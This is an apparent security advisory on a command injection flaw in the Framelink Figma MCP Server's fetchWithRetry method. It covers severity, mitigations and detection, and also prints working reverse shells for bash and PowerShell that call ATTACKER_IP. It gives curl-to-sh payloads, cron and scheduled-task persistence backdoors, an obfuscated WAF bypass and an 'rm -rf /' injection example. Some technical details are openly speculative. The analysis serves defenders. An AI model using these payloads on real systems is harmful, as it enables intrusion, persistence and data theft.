Comprehensive Technical Analysis of CVE-2025-15061

Framelink Figma MCP Server Command Injection Remote Code Execution (RCE) Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Overview

CVE-2025-15061 is a critical unauthenticated remote code execution (RCE) vulnerability in the Framelink Figma MCP Server, stemming from a command injection flaw in the fetchWithRetry method. The vulnerability allows attackers to execute arbitrary system commands on the affected server without authentication, leading to full system compromise.

Severity Metrics (CVSS v3.1: 9.8)

Metric	Score	Description
Attack Vector (AV)	N (Network)	Exploitable remotely over the network.
Attack Complexity (AC)	L (Low)	No special conditions required.
Privileges Required (PR)	N (None)	No authentication needed.
User Interaction (UI)	N (None)	No user interaction required.
Scope (S)	U (Unchanged)	Impact confined to the vulnerable component.
Confidentiality (C)	H (High)	Full system access possible.
Integrity (I)	H (High)	Arbitrary code execution.
Availability (A)	H (High)	Potential for denial-of-service or system takeover.

Risk Classification

• Critical (CVSS 9.8) – Immediate patching is mandatory due to the high likelihood of exploitation in the wild.
• Exploitability: High (unauthenticated, low complexity, no user interaction).
• Impact: Severe (full system compromise, lateral movement, data exfiltration).

---

2. Potential Attack Vectors & Exploitation Methods

Root Cause Analysis

The vulnerability arises from improper input sanitization in the fetchWithRetry method, which processes user-supplied input in a system command execution context. Specifically:

• The method fails to validate or escape shell metacharacters (e.g., ;, |, &, `, $()) in user-controlled input.
• The input is directly interpolated into a system command, allowing command chaining.

Exploitation Steps

1. Identify Target Endpoint

   • The attacker locates the vulnerable fetchWithRetry API endpoint (likely exposed via HTTP/HTTPS).
   • No authentication is required, making reconnaissance trivial.

2. Craft Malicious Payload

   • The attacker injects a command injection payload into a parameter processed by fetchWithRetry.
   • Example payloads:

     ; id # (Linux)
     | whoami # (Windows/Linux)
     $(curl http://attacker.com/shell.sh | sh) # Reverse shell
     

   • The payload may be embedded in JSON, query parameters, or HTTP headers, depending on the API structure.

3. Execute Arbitrary Commands

   • The server processes the malicious input, executing the injected command with the privileges of the service account (often root or a high-privilege user).
   • Successful exploitation grants full control over the server.

4. Post-Exploitation

   • Lateral Movement: Attackers may pivot to other systems in the network.
   • Persistence: Install backdoors, rootkits, or cryptominers.
   • Data Exfiltration: Steal sensitive data (e.g., Figma design files, credentials, API keys).
   • Denial-of-Service (DoS): Crash the server or disrupt services.

Proof-of-Concept (PoC) Exploitation

A hypothetical exploit request might look like:

POST /api/fetchWithRetry HTTP/1.1
Host: vulnerable-figma-mcp-server.com
Content-Type: application/json

{
  "url": "http://example.com; curl http://attacker.com/shell.sh | sh"
}

If the server processes this input without sanitization, the attacker gains a reverse shell.

---

3. Affected Systems & Software Versions

Vulnerable Software

• Framelink Figma MCP Server (all versions prior to the patched release).
• Component: fetchWithRetry method in the MCP (Multi-Context Processing) server.

Deployment Context

• Cloud-Based: If the MCP server is hosted in a cloud environment (e.g., AWS, GCP, Azure), exploitation could lead to cloud account compromise.
• On-Premises: If deployed internally, attackers could escalate privileges within the corporate network.
• CI/CD Pipelines: If integrated into DevOps workflows, attackers could poison build processes.

Detection Methods

• Network Scanning: Identify exposed Figma MCP servers via Shodan, Censys, or Nmap:

  nmap -p 80,443 --script http-title <target> | grep "Figma MCP"
  

• Log Analysis: Check for unusual command execution patterns in server logs (e.g., ;, |, & in API requests).
• Endpoint Detection & Response (EDR): Monitor for unexpected child processes (e.g., sh, bash, powershell).

---

4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Vendor Patches

   • Update to the latest version of Framelink Figma MCP Server as soon as the patch is released.
   • Monitor ZDI (Zero Day Initiative) and GitHub Security Advisories for updates.

2. Network-Level Protections

   • Restrict Access: Use firewalls to limit exposure to trusted IPs.
   • Web Application Firewall (WAF): Deploy rules to block command injection patterns (e.g., OWASP ModSecurity Core Rule Set).
   • API Gateway: Enforce input validation and rate limiting.

3. Temporary Workarounds (If Patch Not Available)

   • Disable fetchWithRetry Endpoint: If not critical, disable the vulnerable API.
   • Input Sanitization: Implement strict allowlisting for API parameters.
   • Least Privilege: Run the MCP server under a low-privilege account (not root or Administrator).

Long-Term Security Hardening

1. Secure Coding Practices

   • Avoid Shell Interpolation: Use parameterized commands (e.g., subprocess.run() in Python with shell=False).
   • Input Validation: Enforce strict allowlists for API inputs.
   • Static & Dynamic Analysis: Integrate SAST/DAST tools (e.g., SonarQube, Burp Suite) into CI/CD.

2. Runtime Protections

   • Containerization: Deploy the MCP server in a Docker container with minimal privileges.
   • Seccomp/AppArmor: Restrict system calls to reduce attack surface.
   • Immutable Infrastructure: Use read-only filesystems where possible.

3. Monitoring & Incident Response

   • SIEM Integration: Forward logs to a SIEM (e.g., Splunk, ELK) for anomaly detection.
   • File Integrity Monitoring (FIM): Detect unauthorized changes to critical files.
   • Threat Hunting: Proactively search for indicators of compromise (IoCs).

---

5. Impact on the Cybersecurity Landscape

Exploitation Trends

• Mass Scanning: Expect automated exploit scripts within days of disclosure (similar to Log4Shell, ProxyShell).
• Ransomware & Cryptojacking: Attackers may deploy ransomware or cryptominers post-exploitation.
• Supply Chain Attacks: If Figma MCP is used in CI/CD pipelines, attackers could poison builds with malicious code.

Broader Implications

• Design & Collaboration Tools at Risk: Similar vulnerabilities may exist in other Figma plugins or MCP-like services.
• Shift in Attacker Focus: Increased targeting of developer tools (e.g., Figma, VS Code extensions) for supply chain attacks.
• Regulatory Scrutiny: Organizations failing to patch may face compliance violations (e.g., GDPR, HIPAA, CCPA).

Comparable Vulnerabilities

CVE	Vulnerability Type	CVSS	Exploitation Impact
CVE-2021-44228 (Log4Shell)	RCE via JNDI Injection	10.0	Mass exploitation, supply chain attacks
CVE-2021-26855 (ProxyLogon)	Exchange Server RCE	9.8	Nation-state & ransomware attacks
CVE-2023-35078 (Ivanti EPMM)	Auth Bypass + RCE	10.0	Zero-day exploitation in the wild

---

6. Technical Details for Security Professionals

Vulnerability Mechanics

1. Command Injection Primer

   • Occurs when user input is passed to a shell interpreter without sanitization.
   • Example vulnerable code (pseudocode):

     function fetchWithRetry(url) {
       const command = `curl -f ${url}`; // UNSAFE: Direct interpolation
       exec(command, (error, stdout) => { ... });
     }
     

   • Attacker input: http://example.com; rm -rf / → Executes curl -f http://example.com; rm -rf /.

2. Figma MCP Server Specifics

   • The fetchWithRetry method is likely used for retrying failed HTTP requests (e.g., fetching Figma assets).
   • The vulnerability suggests improper handling of URL parameters or HTTP headers in system calls.

3. Exploitation Constraints

   • Blind vs. Non-Blind: If the server returns command output, exploitation is easier (non-blind). If not, attackers may use time-based or out-of-band (OOB) techniques.
   • Bypassing WAFs: Attackers may use obfuscation (e.g., $(echo${IFS}Y2F0IC9ldGMvcGFzc3dk)) to evade detection.

Advanced Exploitation Techniques

1. Reverse Shell Payloads
   • Linux:

     bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
     

   • Windows:

     powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
     

2. Post-Exploitation Persistence
   • Cron Jobs (Linux):

     (crontab -l 2>/dev/null; echo "* * * * * nc -e /bin/sh ATTACKER_IP 4444") | crontab -
     

   • Scheduled Tasks (Windows):

     schtasks /create /tn "Backdoor" /tr "powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')\"" /sc minute /mo 1
     

Detection & Forensics

1. Log Analysis
   • Suspicious Commands:

     grep -E ';|\||&|`|\$\(|>|<' /var/log/nginx/access.log
     

   • Unexpected Processes:

     ps aux | grep -E 'nc|bash|python|perl|wget|curl'
     

2. Memory Forensics
   • Use Volatility or Rekall to detect injected processes:

     volatility -f memory.dump linux_pslist
     

3. Network Forensics
   • Wireshark/TShark: Look for unusual outbound connections (e.g., to attacker-controlled IPs).
   • Zeek (Bro): Detect command-and-control (C2) traffic.

Defensive Tooling Recommendations

Tool	Purpose
Snort/Suricata	Network-based IDS/IPS to block exploit attempts.
Osquery	Real-time endpoint monitoring for suspicious processes.
Falco	Runtime security for containerized environments.
YARA	Detect malicious payloads in memory or files.
Velociraptor	Digital forensics and incident response (DFIR).

---

Conclusion & Key Takeaways

• CVE-2025-15061 is a critical RCE vulnerability with CVSS 9.8, enabling unauthenticated attackers to take full control of affected systems.
• Exploitation is trivial and likely to be weaponized quickly, making immediate patching essential.
• Defensive measures include input sanitization, WAF rules, least privilege, and runtime monitoring.
• Security teams should assume breach and hunt for IoCs in logs and network traffic.
• Long-term, organizations must improve secure coding practices and reduce attack surfaces in developer tools.

Recommended Next Steps:

1. Patch immediately when the fix is released.
2. Isolate vulnerable systems if patching is delayed.
3. Monitor for exploitation attempts using SIEM and EDR.
4. Conduct a post-incident review to identify gaps in detection and response.

For further details, refer to:

• ZDI Advisory (ZDI-25-1197)
• GitHub Security Advisory (GHSA-gxw4-4fc5-9gr5)